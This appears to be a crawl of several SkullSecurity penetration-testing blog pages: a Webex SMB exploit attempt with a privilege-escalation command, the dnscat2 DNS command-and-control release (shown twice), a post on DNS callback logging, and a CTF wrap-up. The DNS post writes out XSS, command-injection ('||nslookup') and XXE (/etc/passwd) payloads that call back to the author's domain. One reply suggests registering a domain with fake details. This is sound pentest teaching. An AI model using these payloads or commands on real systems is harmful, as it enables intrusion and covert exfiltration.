    NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'guest' to account list
    NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account 'admin' to account list
    NSE: [smb-webexec-exploit 192.168.1.206:445] LM Password: 50415353574f5244
    NSE: [smb-webexec-exploit 192.168.1.206:445] Trying to open the remote service manager
    NSE: Finished smb-webexec-exploit against 192.168.1.206:445.
    Completed NSE at 14:00, 0.01s elapsed
    Nmap scan report for 192.168.1.206
    Host is up, received conn-refused (0.00053s latency).
    Scanned at 2018-11-07 14:00:01 PST for 0s

    PORT STATE SERVICE REASON
    445/tcp open microsoft-ds syn-ack
    | smb-webexec-exploit:
    |_ ERROR: Error: WebExService could not be accessed by WORKGROUP\admin
    Final times for host: srtt: 531 rttvar: 3789 to: 100000

    NSE: Script Post-scanning.
    NSE: Starting runlevel 1 (of 1) scan.
    Initiating NSE at 14:00
    Completed NSE at 14:00, 0.00s elapsed
    Read from /usr/local/bin/../share/nmap: nmap-payloads nmap-services.
    Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds

    The Metasploit module gives these errors:

    [*] 192.168.1.206:445 - Command Stager progress - 0.96% done (999/104435 bytes)
    [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
    [*] 192.168.1.206:445 - Command Stager progress - 1.91% done (1998/104435 bytes)
    [-] 192.168.1.206:445 - Service failed to start, ERROR_CODE: 1056
    [*] 192.168.1.206:445 - Command Stager progress - 2.87% done (2997/104435 bytes)

    Etc...

    The local command line "C:\Users\Bob>sc start webexservice a software-update 1 wmic process call create "cmd.exe"" is only successful if run as an administrator.

    @harmj0y's PowerUp script will work against this service, sort of. If we run "Install-ServiceBinary -Name 'WebexService' -UserName Test -Password Password -LocalGroup Administrators" as a low privileged user and then attempt to start the service via the GUI with the same user, we can successfully execute a command. But I haven't been able to get this vector to be anything other than a local priv escalation attack.

  4. Reply

    chris

    love your blog posts :) glad to see you dropping, yet another, awesome one

Leave a Reply

Your email address will not be published.

 

#####EOF##### April » 2010 » SkullSecurity

Stuffing Javascript into DNS names

Greetings! Today seemed like a fun day to write about a really cool vector for cross-site scripting I found. In my testing, this attack is pretty specific and, in some ways, useless, but I strongly suspect that, with resources I don't have access to, this can trigger stored cross-site scripting in some pretty nasty places. […]

Determine Windows version from offline image

I am not a forensics expert, nor do I play one on TV. I do, however, play one at work from time to time and I own some of the key tools: a magnifying glass and a 10baseT hub. Oh, and a Sherlock Holmes hat -- that's the key. Unfortunately, these weren't much help when […]

Exotic XSS: The HTML Image Tag

There are the usual XSS tests.  And then there are the fun ones.  This is a story about a more exotic approach to testing XSS.... I was testing a company that had passed all XSS tests from their pentester.  I found that they allowed users to write HTML tags.  Of course they didn't permit <script> […]

Nmap script to generate custom license plates

Hey all, In honour of this special day, I'm releasing an Nmap script I wrote a few months ago as a challenge: http-california-plates.nse. To install it, ensure you're at the latest svn version of Nmap (I fixed a bug in http.lua last night that prevented this from working, so only the svn version as of […]

#####EOF##### dnscat2 beta release! » SkullSecurity


dnscat2 beta release!

As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.

Where can I get it?

Here are some links:

  • Sourcecode on github (HEAD sourcecode)
  • Downloads (you'll find signed Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server—keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :) )
  • User documentation
  • Protocol and command protocol documents (as a user, you probably don't need these)
  • Issue tracker (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))
  • Wait, what happened to dnscat1?

    I designed dnscat1 to be similar to netcat; the client and server were the same program, and you could tunnel both ways. That quickly became complex and buggy and annoying to fix. It's had unresolved bugs for years! I've been promising a major upgrade for years, but I wanted it to be reasonably stable/usable before I released anything!

    Since generic TCP/IP DNS tunnels have been done (for example, by iodine), I decided to make dnscat2 a little different. I target penetration testers as users, and made the server more of a command & control-style service. For example, an old, old version of dnscat2 had the ability to proxy data through the client and out the server. I decided to remove that code because I want the server to be runnable on a trusted network.

    Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The client is still low-level portable C code that should run anywhere (tested on 32- and 64-bit Linux, Windows, FreeBSD, and OS X). The server is now higher-level Ruby code that requires Ruby and a few libraries (I regularly use it on Linux and Windows, but it should run anywhere that Ruby and the required gems runs). That means I can quickly and easily add functionality to the server while implementing relatively simple clients.

    How can I help?

    The goal of this release is primarily to find bugs in compilation, usage, and documentation. Everything should work on all 32- and 64-bit versions of Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems, let me know so I can advertise it!

    I'd love to hear from anybody who successfully or unsuccessfully tried to get things going. Anything from what you liked, what you didn't like, what was intuitive, what was unintuitive, where the documentation was awesome, where the documentation sucked, what you like about my face, what you hate about my face—anything at all! Seriously, if you get it working, email me—knowing that people are using it is awesome and motivates me to do more. :)

    For feedback, my email address is my first name (ron) at my domain (skullsecurity.net). If you find any bugs or have any feature requests, the best place to go is my Issue tracker.

    What's the future hold?

    I've spent a lot of time on stability and bugfixes recently, which means I haven't been adding features. The two major features that I plan to add are:

    • TCP proxying - basically, creating a tunnel that exits through the client
    • Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows

    Once again, I'd love feedback on which you think is more important, and if you're excited to get shellcode, then which architecture/OS that I should prioritize. :)

    6 thoughts on “dnscat2 beta release!

    1. Reply

      Mutti

      Just tried out dnscat2.
      It worked and I liked it a lot.
      Will definetely be testing it out a lot more in the future.
      Keep up the good work.

    2. Reply

      Dave

      "dnscat2-server-0.01.zip" is empty... 25-Mar-2015 17:35 188

      1. Reply

        Ron Bowes Post author

        D'oh, apparently the command I use for zipping doesn't work! I'll fix it and re-upload + announce on Twitter

    3. Reply

      confused1

      I am confused as hell about something, it is my understanding that the server end of dnscat2 must run on the authoritative nameserver but when I try to start it I am told that the address is already in use which of course it is since bind9 is listening on port 53 udp.
      Please explain

      1. Reply

        Ron Bowes Post author

        @confusd1: Yeah, you need a domain that's dedicated to dnscat2. It can't also be running Bind.

        Maybe that's a good feature request, actually.. a bind config that forwards important stuff to dnscat2?

    4. Reply

      cccsober

      may i ask a question.
      i succeed establishing the dostunnel.
      but when i use
      download [to]
      it always say that"Error opening file for reading"
      could anybody tell me why?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### Why DNS is awesome and why you should love it » SkullSecurity


    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

    I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

    What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

    Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.

    Recursive? Authoritative? Wut?

    As always, I'll start with some introduction to how DNS works. If you already know DNS, you can go ahead and skip to the next section.

    DNS is recursive. That means that if you ask a server about a domain it doesn't know about (that is, a domain that isn't cached or a domain that the server isn't the authority for), it'll either pass it upstream to another DNS server (recursive) or tell you where to go for the answer (non-recursive). As always, we'll focus on recursive DNS servers - they're the fun ones!

    If no interim DNS server has the entry cached, the request will eventually make it all the way to the authoritative server for the domain. For example, the authoritative server for *.skullseclabs.org is 206.220.196.59 - my server (and hopefully the server you're reading this on :) ). That is, any request that ends with skullseclabs.org - and that isn't cached - will eventually go to my server. See the next section for information on how to set up your own authoritative DNS server.

    Let's look at a typical setup. You're on your home network. Your router's ip address is probably the usual 192.168.1.1, and is plugged into a cable modem. When you connect your laptop to your network, DHCP (aka, magic) happens, and your DNS server probably gets set to 192.168.1.1 (unless you've manually configured it to 8.8.8.8, which you should). When your router connects to your cable modem, more DHCP (aka, more magic) happens, and its DNS server set to the ISP's DNS server.

    When you do a lookup, like "dig hello.skullseclabs.org", your computer sends a DNS request to 192.168.1.1 saying "who is hello.skullseclabs.org"? Obviously, your router has no idea - he's just a stupid Linksys or whatever - so he has to forward the request to the ISP's DNS server.

    The ISP's DNS server gets the request, and it has no idea what to do with it either. It certainly doesn't know who "hello.skullseclabs.org" is, so it's gonna forward the request to its DNS server, whatever that happens to be. Or it might tell the router where to look for a non-recursive query. Since at this point it's out of our hands, it doesn't really matter.

    Eventually, some DNS server along the way is going to say "hey, why don't we just go to the source?", and through a process that leading scientists believe is magic (there's a lot of magic in DNS :) ), it will look up the authoritative server for skullseclabs.org, discover it's 206.220.196.59, and send the request there.

    My server will see the request, and, assuming something is listening on UDP port 53, have the opportunity to respond.

    The response can be any IP address for an A (IP) or AAAA (IPv6) request; a name for a CNAME (alias) or MX (mail) request; or any ol' text for a TXT request. It can also be NXDomain - "domain not found" - or various error messages (like "servfail").

    One of the cool things is that even if we return "domain not found", we still see that a request happened, even if the person doing the lookup sees that it failed! We'll see some examples of why that's cool shortly.

    How do I get an authoritative server?

    The sad part is, getting an authoritative server isn't free. You have to buy a domain, which is on the order of $10 / year, give or take.

    Beyond that, it's just a configuration thing. I don't want to spend a ton of time talking about it here, so check out this guide, written by Irvin Zhan for instructions to do it on Namecheap.

    I personally did it on Godaddy. It took some time to figure out, though, so prepare for a headache! But trust me: it's worth it.

    The set up

    We'll use skullseclabs.org - my test domain - for the remainder of this. Obviously, if you want to do this yourself, you'll need to replace that with whatever domain you registered. We'll also use dnslogger.rb, which you'll get if you clone dnscat2's repository.

    Getting dnslogger.rb to work is mostly easy, but permissions can be a problem. To listen on UDP/53, it has to run as root. It also needs the "rubydns" gem installed in a place where it can be found. That can be a little annoying, so I apologize if it's a pain. "rvmsudo" may help.

    If anybody out there is familiar with how to properly package Ruby programs, I'd love to chat! I'm making this up as I go along :)

    What does DNS look like?

    All right, let's mess around!

    I'll start by having no DNS server running at all on skullseclabs.org - basically, the base state. From another host, if you try to ping it, you'll see this:

    $ ping noserver.skullseclabs.org
    Ping request could not find host noserver.skullseclabs.org. Please check the name and try again.
    

    Conclusion? It's down. If you were investigating an incident and you saw that message, you'd conclude that there's nothing there, right? Probably?

    Let's fire up dnslogger.rb:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    

    Then do the same ping (with a different domain, because caching can screw you up):

    $ ping yesserver.skullseclabs.org
    Ping request could not find host yesserver.skullseclabs.org. Please check the name and try again.
    

    It's the exact. Same. Response. The only difference is, on the DNS server, we see this:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for yesserver.skullseclabs.org [type = A], responding with NXDomain
    

    What's this? We saw the request! Even if the person doing the lookup thought it failed, it didn't: WE KNOW.

    That's really cool, because it's a really, really stealthy way to find out if somebody is looking you up. If you do a reverse DNS lookup for 206.220.196.59, you'll see:

    $ dig -x 206.220.196.59
    [...]
    ;; ANSWER SECTION:
    59.196.220.206.in-addr.arpa. 3567 IN    PTR     test.skullseclabs.org.
    

    And if you look up the forward record:

    $ dig test.skullseclabs.org
    [...]
    ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57980
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
    

    NXDOMAIN = "no such domain". Totally stealth!

    Why is it so awesome?

    Let's say you're testing for cross-site scripting on a site. Post <img src="pagenamegoeshere.skullseclabs.org" /> everywhere. If you later see a request like "adminpage.skullseclabs.org" come in, then guess what? You found some stored XSS on their admin page!

    Let's say you're looking for shell injection. Normally, you do something like "vulnerablesite.com/query?q=myquery||ping -c5 localhost". If it takes 5 seconds, it's probably vulnerable to XSSshell command injection [thanks albinowax!]. That's lame. Instead, do a query for "myquery||nslookup pagename.skullseclabs.org". If you see the query, it's definitely vulnerable. If you don't, it's almost certainly not.

    Let's say you're looking for XXE. Normally, you'd stick something like "<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>" into the XML. That works great - IF it returns the data. If it doesn't, you see nothing, and it probably failed. Probably. But if you change the "file:///" URL to "http://somethingunique.skullseclabs.org", you'll see the request in your DNS logs, and you can confirm it's vulnerable!

    Let's say you're wondering if a system is executing a binary you're sending across the network. Create a binary that attempts to connect to binaryname.skullseclabs.org. You'll instantly know if anybody attempted to run it, and in their logs they'll see nothing more than a failed DNS lookup. As far as they know, nothing happened!

    The coolest thing is, if you're responding with NXDomain, then as far as the client or IDS/IPS/Wireshark/etc. knows, the domain doesn't exist and the connection doesn't happen. Nothing even attempts to connect - it doesn't even send a SYN. How could it? It just looks at the domain and "NOPES" right outta there.

    If some poor server admin has to figure out what's happening, what's s/he going to see? A request to a domain which, if they ping, doesn't exist. At that point, they give up and declare it a false positive. What else can they do, really?

    There are so many applications. Looking for SQL injection? Use a command that does a DNS lookup (I don't know enough about SQL to do this). Looking for a RFI vuln? Try to include a file from your domain. Wondering if a company will try emailing you without risking getting an email (I'm sure I can come up with a scenario)? Give them "thisisfake@fakeemail.skullseclabs.org" as your email address. If I try to email that from gmail, it fails pretty much instantly:

    Delivery to the following recipient failed permanently:
    
         thisisfake@fakeemail.skullseclabs.org
    
    Technical details of permanent failure:
    DNS Error: Address resolution of fakeemail.skullseclabs.org. failed: Domain name not found
    

    But I still see that they tried:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = MX], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = AAAA], responding with NXDomain
    Got a request for fakeemail.skullseclabs.org [type = A], responding with NXDomain
    

    I see the attempt, but neither gmail nor the original sender can tell that apart from a misspelled domain - because it's identical in every way!

    (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

    Returning addresses

    dnslogger.rb can return more than just NXDomain - it can return actual domains! If you start dnslogger.rb with a --A argument:

    $ sudo ruby ./dnslogger.rb --A "8.8.8.8"

    Then it'll return that ip address for every A request for any domain:

    $ ping arecord.skullseclabs.org
    
    Pinging arecord.skullseclabs.org [8.8.8.8] with 32 bytes of data:
    Reply from 8.8.8.8: bytes=32 time=85ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=80ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=73ms TTL=44
    Reply from 8.8.8.8: bytes=32 time=90ms TTL=44
    
    Ping statistics for 8.8.8.8:
        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 73ms, Maximum = 90ms, Average = 82ms
    

    If you do a lookup directly to the server, you can use any domain:

    $ dig @206.220.196.59 google.com
    [...]
    ;; ANSWER SECTION:
    google.com.             86400   IN      A       8.8.8.8
    

    In the past, I've found a DNS server that always returns the same thing to be useful for analyzing malware (also database software, which can often be considered the same thing). In particular, setting a system's DNS server to the IP of a dnslogger.rb instance, then returning 127.0.0.1 for all A records and ::1 for all AAAA records, can be a great way to analyze malware without letting it connect outbound to any domains (it will, of course, be able to connect outbound if it uses an ip address instead of a domain name):

    $ sudo ruby ./dnslogger.rb --A "127.0.0.1" --AAAA "::1"
    

    What else can you do?

    Well, I mean, if you have an authoritative DNS server, you can have a command-and-control channel over DNS. I'm not going to dwell on that, but I've written about it in the past :).

    Conclusion

    The entire point of this post is that: it's possible to tell if somebody is trying to connect to you (either as a TCP connection, sending an email, pinging you, etc) without them knowing that you know.

    And the coolest part of all this? It's totally invisible. As far as anybody can tell, the connection fails and that's all they know.

    Isn't DNS awesome?

    16 thoughts on “Why DNS is awesome and why you should love it

    1. Reply

      datenpunk

      (I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that)

      Here you go: https://en.wikipedia.org/wiki/MX_record#History_of_fallback_to_address_record

    2. Reply

      JP

      The mail system does an AAAA/A lookup because if there is no MX for a host the protocol falls back to trying to deliver directly to the host. Back in the day mail quite often went to a specific machine not a domain. Sometimes it was even routed that way user%host.domain@otherhost.domain

      Bonus points for anybody who remember inhp4, mcvax and seismo

    3. Reply

      Philip Woolford

      Regarding the AAAA/A record lookup, that's a fallback mechanism built into the SMTP standard.

      See RFC 5321 §5.1: Locating the Target Host

      If an empty list of MXs is returned, the address is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host.

    4. Reply

      Wolfgang Kandek

      Excellent tool, looks very useful. Will test it this week.

      Regarding MX/AAAA/A it is in SMTP RFC 2821: "If no MX records are found, but an A RR is found, the A RR is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host."

    5. Reply

      Timo

      According to RFC 974, an empty MX record list implies that the domain name itself is the host name for the mail exchange. This is why the MX lookup failure is followed by a AAAA/A lookup.

    6. Reply

      Michael

      >I'm mildly curious why it does a AAAA/A lookup - maybe somebody can look into that

      The SMTP RFC specifies that if there is no MX record, delivery is to be attempted to the host itself.

    7. Reply

      albinowax

      Good stuff. This is pretty much exactly what we're automating with Burp Collaborator.

      If it takes 5 seconds, it's probably vulnerable to XSS.

      I think you mean OS command injection?

      1. Reply

        Ron Bowes Post author

        Derp, yes, thanks. :)

        That's awesome about automating it! When burp thinks it finds command injection, doing something with DNS is the first thing I always try :)

        1. Reply

          Ron Bowes Post author

          I need to fire my editor.

          Or, better yet, hire one. :)

    8. Reply

      Anonymous

      Ok, I must agree that after reading this article, I think DNS is pretty awesome too!!

    9. Reply

      cynicXer

      "$ sudy ruby ./dnslogger.rb --A "8.8.8.8""

      I'm relatively certain you meant "sudo".

    10. Reply

      Sergey Belov

      https://thesprawl.org/projects/dnschef/ released a long time ago.

      1. Reply

        Ron Bowes Post author

        Yeah, I don't pretend this was something new. It's just really, really simple code that I figured would be handy. :)

    11. Reply

      John

      Wow, i didn't actually know you could do this much with DNS. time to try this out me thinks.

    12. Reply

      Pypy

      Correct me if I'm wrong but if an IT guy wanted to look into the DNS lookup, wouldn't he be able to find the details you provided to the registrar? So you'd have to lie to them to remain anonymous and make up something that doesn't look suspicious.

      1. Reply

        Ron Bowes Post author

        @Pypy: Yeah, it could be traced back, assuming they know that they should. The idea is that it blends in enough that they wouldn't see it.

        If you need to be REALLY careful, you could register the domain with a pre-paid card and fake details.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### May » 2012 » SkullSecurity

    Battle.net authentication misconceptions

    Hey everybody, There have been a lot of discussion and misconceptions about Battle.net's authentication lately. Having done a lot of work on the Battle.net protocol, I wanted to lay some to rest. The first thing to understand is that, at least at the time I was working on this, there were three different login methods […]

    #####EOF##### #####EOF##### June » 2014 » SkullSecurity

    Opening the mysterious hatch of mystery

    Every once in awhile, I like to post something random here. This is another one of those times. If you want some real security info, move along now. :) This is a story about a random locked hatch I found in the middle of a field. Originally it was just neat, but after the "Safe" […]

    #####EOF##### #####EOF##### March » 2011 » SkullSecurity

    (Mostly) good password resets

    Hey everybody! This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this? So, here's the thing. I like to break stuff, but […]

    Hacking crappy password resets (part 2)

    Hey, In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

    Hacking crappy password resets (part 1)

    Greetings, all! This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!) For this first part, I'm going to take a closer look at some very common (and very […]

    #####EOF##### dnscat2 beta release! » SkullSecurity


    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)

    I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.

    Where can I get it?

    Here are some links:

  • Sourcecode on github (HEAD sourcecode)
  • Downloads (you'll find signed Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server—keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :) )
  • User documentation
  • Protocol and command protocol documents (as a user, you probably don't need these)
  • Issue tracker (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))
  • Wait, what happened to dnscat1?

    I designed dnscat1 to be similar to netcat; the client and server were the same program, and you could tunnel both ways. That quickly became complex and buggy and annoying to fix. It's had unresolved bugs for years! I've been promising a major upgrade for years, but I wanted it to be reasonably stable/usable before I released anything!

    Since generic TCP/IP DNS tunnels have been done (for example, by iodine), I decided to make dnscat2 a little different. I target penetration testers as users, and made the server more of a command & control-style service. For example, an old, old version of dnscat2 had the ability to proxy data through the client and out the server. I decided to remove that code because I want the server to be runnable on a trusted network.

    Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The client is still low-level portable C code that should run anywhere (tested on 32- and 64-bit Linux, Windows, FreeBSD, and OS X). The server is now higher-level Ruby code that requires Ruby and a few libraries (I regularly use it on Linux and Windows, but it should run anywhere that Ruby and the required gems runs). That means I can quickly and easily add functionality to the server while implementing relatively simple clients.

    How can I help?

    The goal of this release is primarily to find bugs in compilation, usage, and documentation. Everything should work on all 32- and 64-bit versions of Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems, let me know so I can advertise it!

    I'd love to hear from anybody who successfully or unsuccessfully tried to get things going. Anything from what you liked, what you didn't like, what was intuitive, what was unintuitive, where the documentation was awesome, where the documentation sucked, what you like about my face, what you hate about my face—anything at all! Seriously, if you get it working, email me—knowing that people are using it is awesome and motivates me to do more. :)

    For feedback, my email address is my first name (ron) at my domain (skullsecurity.net). If you find any bugs or have any feature requests, the best place to go is my Issue tracker.

    What's the future hold?

    I've spent a lot of time on stability and bugfixes recently, which means I haven't been adding features. The two major features that I plan to add are:

    • TCP proxying - basically, creating a tunnel that exits through the client
    • Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows

    Once again, I'd love feedback on which you think is more important, and if you're excited to get shellcode, then which architecture/OS that I should prioritize. :)

    6 thoughts on “dnscat2 beta release!

    1. Reply

      Mutti

      Just tried out dnscat2.
      It worked and I liked it a lot.
      Will definetely be testing it out a lot more in the future.
      Keep up the good work.

    2. Reply

      Dave

      "dnscat2-server-0.01.zip" is empty... 25-Mar-2015 17:35 188

      1. Reply

        Ron Bowes Post author

        D'oh, apparently the command I use for zipping doesn't work! I'll fix it and re-upload + announce on Twitter

    3. Reply

      confused1

      I am confused as hell about something, it is my understanding that the server end of dnscat2 must run on the authoritative nameserver but when I try to start it I am told that the address is already in use which of course it is since bind9 is listening on port 53 udp.
      Please explain

      1. Reply

        Ron Bowes Post author

        @confusd1: Yeah, you need a domain that's dedicated to dnscat2. It can't also be running Bind.

        Maybe that's a good feature request, actually.. a bind config that forwards important stuff to dnscat2?

    4. Reply

      cccsober

      may i ask a question.
      i succeed establishing the dostunnel.
      but when i use
      download [to]
      it always say that"Error opening file for reading"
      could anybody tell me why?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### GITS2014 » SkullSecurity

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks, It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which […]

    Ghost in the Shellcode: gitsmsg (Pwnage 299)

    "It's Saturday night; I have no date, a 2L bottle of Shasta, and my all-rush mix tape. Let's rock!" ...that's what I said before I started gitsmsg. I then entered "Rush" into Pandora, and listened to a mix of Rush, Kansas, Queen, Billy Idol, and other 80's rock for the entire level. True story. Anyway, […]

    Ghost in the Shellcode: TI-1337 (Pwnable 100)

    Hey everybody, This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode! Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not […]

    #####EOF##### BSidesSF CTF wrap-up » SkullSecurity


    BSidesSF CTF wrap-up

    Welcome!

    While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

    BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.


    The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

    If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

    • Original sourcecode on github
    • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

    Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

    As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

    Infrastructure

    The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

    As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

    What I do know is, we used:

    • Googles CTF Scoreboard running on AppEngine for our scoreboard
    • Dockerfiles for each challenge that had an online component, and Docker for testing
    • docker-compose for testing
    • Kubernetes for deployment
    • Google Container Engine for running all of that in The Cloud

    As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

    I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

    Players

    Just a few numbers:

    • We had 728 teams register
    • We had 531 teams score at least one point
    • We had 354 teams score at least 100 points
    • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

    Also, the top-10 teams were:

    • dcua :: 6773
    • OpenToAll :: 5178
    • scryptos :: 5093
    • Dragon Sector :: 4877
    • Antichat :: 4877
    • p4 :: 4777
    • khack40 :: 4677
    • squareroots :: 4643
    • ASIS :: 4427
    • Ox002147 :: 4397

    The top-10 teams on-site were:

    • OpenToAll :: 5178
    • ▣ :: 3548
    • hash_slinging_hackers :: 3278
    • NeverTry :: 2912
    • 0x41434142 :: 2668
    • DevOps Solution :: 1823
    • Shadow Cats :: 1532
    • HOW BOU DAH :: 1448
    • Newbie :: 762
    • CTYS :: 694

    The full list can be found on our CTFTime.org page.

    On-site challenges

    We had three on-site challenges (none of them created by me):

    on-sight [1]

    This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

    (Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

    Shared Secrets [250]

    The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

    It was a "3 of 6" scheme, so only three were actually needed to get the secret.

    The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

    Locker [150]

    Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

    (We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

    @bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

    My challenges

    I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

    I probably don't need to say it, but: challenge spoilers coming!

    'easy' challenges [10-40]

    I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

    easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

    easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

    easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

    easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

    And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

    skipper [75] and skipper2 [200]

    Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

